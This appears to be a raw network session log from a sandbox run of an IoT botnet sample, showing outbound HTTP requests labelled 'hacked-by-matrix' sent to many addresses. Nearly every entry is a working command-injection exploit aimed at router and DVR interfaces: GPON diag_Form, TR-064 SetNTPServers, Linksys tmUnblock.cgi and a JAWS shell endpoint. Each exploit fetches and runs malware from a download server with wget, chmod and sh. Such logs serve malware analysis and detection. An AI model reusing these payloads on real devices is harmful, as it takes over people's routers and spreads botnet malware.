Mar 21, 2024 05:18:27.262904882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1009	192.168.2.23	51996	5.236.222.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.262955904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1010	192.168.2.23	48732	109.233.136.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.263000011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1011	192.168.2.23	46670	42.241.12.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.263051987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1012	192.168.2.23	49992	109.233.123.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.263072968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1013	192.168.2.23	36764	212.195.94.58	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.263098955 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1014	192.168.2.23	53624	47.205.87.116	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.294982910 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1015	192.168.2.23	47790	172.65.236.88	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.396729946 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1016	192.168.2.23	59848	172.87.213.28	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.469132900 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:32.564342022 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:38.711005926 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:50.737845898 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1017	192.168.2.23	35768	50.106.78.93	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:29.431123018 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1018	192.168.2.23	35772	50.106.78.93	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:29.548981905 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1019	192.168.2.23	44850	118.214.178.149	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.130198956 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:31.732444048 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:33.652189016 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:33.982644081 CET	140	IN	HTTP/1.1 400 Bad Request Content-Length: 79 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error</title></head><body><h1>Bad Request</h1></body></html>
Mar 21, 2024 05:18:36.972453117 CET	140	IN	HTTP/1.1 400 Bad Request Content-Length: 79 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error</title></head><body><h1>Bad Request</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1020	192.168.2.23	37168	2.188.85.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.270293951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1021	192.168.2.23	60266	2.191.120.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.270325899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1022	192.168.2.23	55388	178.200.173.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.270339966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1023	192.168.2.23	56644	79.151.205.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.270364046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1024	192.168.2.23	33942	178.202.115.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.270400047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1025	192.168.2.23	55304	212.71.22.234	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.270430088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1026	192.168.2.23	32890	79.95.198.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:30.270472050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1027	192.168.2.23	58716	118.102.188.124	443

Timestamp	Bytes transferred	Direction	Data
